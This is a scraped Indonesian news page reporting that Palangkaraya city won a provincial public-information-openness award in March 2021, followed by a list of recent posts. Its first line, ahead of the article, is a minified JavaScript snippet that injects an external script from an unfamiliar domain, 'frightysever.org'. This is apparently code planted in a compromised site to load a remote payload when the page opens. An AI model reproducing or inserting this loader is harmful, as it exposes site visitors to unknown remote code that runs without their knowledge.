(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Palangkaraya

Palangkaraya Raih Peringkat Satu Keterbukaan Informasi Publik Tingkat Provinsi Kalteng


KANALKALIMANTAN.COM, PALANGKARAYA– Pemko Palangkaraya meraih peringkat satu penghargaan menuju informatif kategori Pejabat Pengelola Informasi dan Dokumentasi (PPID) utama kabupaten/kota di Kalimantan Tengah.

Plakat penganugerahan keterbukaan informasi badan publik diberikan Sekda Kalteng Fahrizal Fitri kepada Wali Kota Palangkaraya, di Aula Eka Hapakat Kantor Gubernur, Senin (15/3/2021).

Usai kegiatan, Wali Kota Palangkaraya Fairid Naparin mengatakan, penghargaan itu akan semakin memperkuat komitmen dalam melaksanakan UU nomor 14 tahun 2008.

“Mudah-mudahan penghargaan ini dapat mewujudkan good governance di Pemko Palangkaraya,” ujar Fairid.

Penghargaan itu bukanlah hasil kerjanya sendiri, tetapi kerja sama seluruh jajaran Pemko Palangkaraya.

Ketua Komisi Informasi Kalteng Daan Rismon menjelaskan, rangkaian monitoring dan evaluasi sampai dengan penganugerahan keterbukaan informasi publik berdasarkan Peraturan Komisi Informasi No 5/2016 tentang metode dan teknik evaluasi keterbukaan informasi badan publik dan petunjuk teknik lainnya dari Komisi Informasi pusat.

Proses ini telah dimulai oleh Komisi Informasi Kalimantan Tengah sejak Juni hingga Desember 2020. Dengan mengikutsertakan 46 badan/dinas/perangkat daerah lainnya yang merupakan badan publik di lingkungan Pemprov Kalteng.

Kemudian 21 badan publik/lembaga vertikal, dan 14 PPID utama kabupaten/Kota yang mewakili badan publik kabupaten/kota di Kalimantan Tengah.

Sementara itu Sekda Kalteng Fahrizal Fitri mengatakan, penganugerahan bertujuan untuk mengevaluasi pelaksanaan dan kepatuhan badan publik dalam layanan keterbukaan informasi publik.

Selain itu mewujudkan hasil evaluasi pelaksanaan dan kepatuhan badan publik dalam layanan keterbukaan informasi publik yang sesuai dengan peraturan perundang-undangan yang berlaku. (kanalkalimantan.com/tri)

 

Reporter : Tri
Editor : Cell

 

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.